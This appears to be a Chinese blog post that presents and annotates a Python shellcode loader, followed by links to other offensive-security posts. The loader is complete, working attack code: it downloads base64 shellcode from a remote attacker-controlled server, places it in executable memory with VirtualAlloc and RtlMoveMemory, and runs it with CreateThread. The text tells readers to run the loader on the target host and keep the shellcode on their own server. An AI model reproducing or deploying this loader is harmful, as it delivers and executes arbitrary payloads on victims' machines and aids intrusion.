python的shellcode_loader解释

2023-05-16

python的shellcode_loader解释

  • 代码

loader传到主机执行,shellcode传到自己的服务器上。
简单的python shellcode加载器,直接上代码,注释都在代码里

代码

import ctypes
import requests
import base64

scode = requests.get("http://xxx.xxx.xxx.xxx/base64_python_payload.txt")
shellcode = bytearray(base64.b64decode(scode.text))

#设置返回类型64位,默认32位。
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
#申请内存
"""
VirtualAlloc函数原型和参数如下:
LPVOID VirtualAlloc{
LPVOID lpAddress, #要分配的内存区域的地址
DWORD dwSize,      #分配的大小
DWORD flAllocationType, #分配的类型
DWORD flProtect     #该内存的初始保护属性
};
"""
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))
                                          
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
#此函数从指定内存中复制内容至另一内存里
"""
RtlMoveMemory(Destination,Source,Length);
Destination :指向移动目的地址的指针。
Source :指向要复制的内存地址的指针。
Length :指定要复制的字节数。
"""
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
#调用CreateThread将在主线程的基础上创建一个新线程   
"""

HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes,#线程安全属性
SIZE_T dwStackSize,       #置初始栈的大小,以字节为单位
LPTHREAD_START_ROUTINE lpStartAddress,  #指向线程函数的指针
LPVOID lpParameter,          #向线程函数传递的参数
DWORD dwCreationFlags,       #线程创建属性
LPDWORD lpThreadId           #保存新线程的id
)
"""                               
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))
"""
调用WaitForSingleObject函数用来检测线程的状态

DWORD WINAPI WaitForSingleObject(
__in HANDLE hHandle,     #对象句柄。可以指定一系列的对象
__in DWORD dwMilliseconds  #定时时间间隔
);
"""
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

python的shellcode_loader解释 的相关文章

随机推荐

  • bypassuac的学习

    什么是UAC 为什么要绕过他MSF自带的bypassuac模块 在Vista及更高版本中通过弹框进一步让用户确认是否授权当前可执行文件来达到阻止恶意程序的目的 为什么要绕过他 为了远程执行目标的exe或者bat可执行文件绕过此安全机制 xf
  • thinkphp3.2.3学习(1)

    thinkphp3 2 3学习 xff08 1 xff09 MVC结构 MVC结构 M gt model数据模型 V gt view识图 C gt controller控制器 lt php return array 39 配置项 39 61
  • thinkphp3.2.3学习(2)

    thinkphp3 2 3学习 xff08 2 xff09 如何读取配置文件路由四种url模式url的设置 函数控制器绑定参数url生成跳转页面重定向输入变量 如何读取配置文件 使用C函数 C 属性名 xff1b 动态配置 C 属性名 xf
  • xdebug下载与配置,有这一篇就够了

    xdebug下载与配置 xff0c 有这一篇就够了 xdebug下载与配置环境步骤一步骤二步骤三步骤四步骤五遇到的问题解决方案第一个坑第二个坑第三个坑 下面是我的xdebug的配置 xdebug下载与配置 下载xdebug的地方https
  • windows下3389端口开启和连接

    windows下3389端口开启和连接 开启3389的命令关闭防火墙的命令添加用户添加到管理员组特殊情况 netstat ano 查看端口开放情况 开启3389的命令 REG ADD HKLM SYSTEM CurrentControlSe
  • ssrf绕过

    ssrf绕过 当涉及到SSRF xff08 服务器端请求伪造 xff09 时 xff0c 可以使用以下5种有效负载绕过防御 xff1a 1 xff09 使用CIDR绕过SSRF xff1a http 127 127 127 127 http
  • 测试点的payload

    一些测试点的payload xff0c 后续继续补充 电子邮件地址图片名字 电子邮件地址 以下payload都是有效的电子邮件地址 XSS xff08 跨站脚本 xff09 xff1a test 43 lt script gt alert
  • Jetson Nano GPIO使用、四种模式以及串口解释

    参考 xff1a http www waveshare net study portal php mod 61 view amp aid 61 882https www jianshu com p f98a69b94debhttps blo
  • 一些权限的绕过

    一些权限的绕过 URI绕过后台URI绕过403 URI绕过后台 这是通过以下方式URI来访问后台的技巧 xff1a https target com admin gt HTTP 302 xff08 重定向到登录页面 xff09 https
  • redis的安装以及漏洞学习

    redis的安装以及漏洞学习 redis的安装redis的基本命令redis的一些漏洞redis未授权redis写入文件redis计划任务反弹shell写ssh公钥登录redis主从以上提到的这些漏洞 xff0c 都是基于未授权访问 red
  • python批量检测域名和url能否打开

    python批量检测域名和url能否打开 python批量检测域名和url能否打开批量在浏览器中打开url或者域名总结 最近在挖src xff0c 然后有大量的域名 xff0c 而且大部分打不开 xff0c 所以就很浪费时间 xff0c 写
  • Failed to restart network.service: Unit network.service not found.

    解决 Failed to restart network service Unit network service not found 输入命令时遇到了问题 span class token function service span ne
  • nginx的启动,停止

    nginx的启动 xff0c 停止 启动启动代码格式 nginx的停止有三种方式 xff1a 从容停止快速停止强制停止 验证nginx配置文件是否正确方法一 xff1a 进入nginx安装目录sbin下 xff0c 输入命令 nginx t
  • 虚拟机连不上网解决办法,以及出现Ubuntu connect: Network is unreachable

    虚拟机连不上网解决办法 xff0c 以及出现Ubuntu connect Network is unreachable 问题来源具体过程 问题来源 出现了Ubuntu connect Network is unreachable这个问题 x
  • linux持久化

    linux持久化后门 添加超级用户SUID shellalias 后门inetdcrontab后门ssh公钥免密ssh软连接SSH wrapper后门PAM隐身登录隐藏文件Git hooksPROMPT COMMAND后门PROMPT CO
  • linux恶意进程隐藏

    https mp weixin qq com s 6Z4tErcnusYHTqiSUSVz3A https blog csdn net nzjdsds article details 82919100
  • 图图图图图

  • windows提权总结

    windows提权总结 内核溢出提权Windows系统配置错误提权系统服务权限配置错误注册表键AlwaysInstallElevated可信任服务路径漏洞自动安装配置文件计划任务 Windows组策略首选项提权 SYSVOL GPP SYS
  • 运行Intel realsense L515相机

    运行Intel realsense L515相机 首先去官 https www intelrealsense com sdk 2 xff0c 按照上面的提示安装各种文件 xff0c 然后输入realsense viewer出现可视化窗口 下
  • python的shellcode_loader解释

    python的shellcode loader解释 代码 loader传到主机执行 xff0c shellcode传到自己的服务器上 简单的python shellcode加载器 xff0c 直接上代码 xff0c 注释都在代码里 代码 s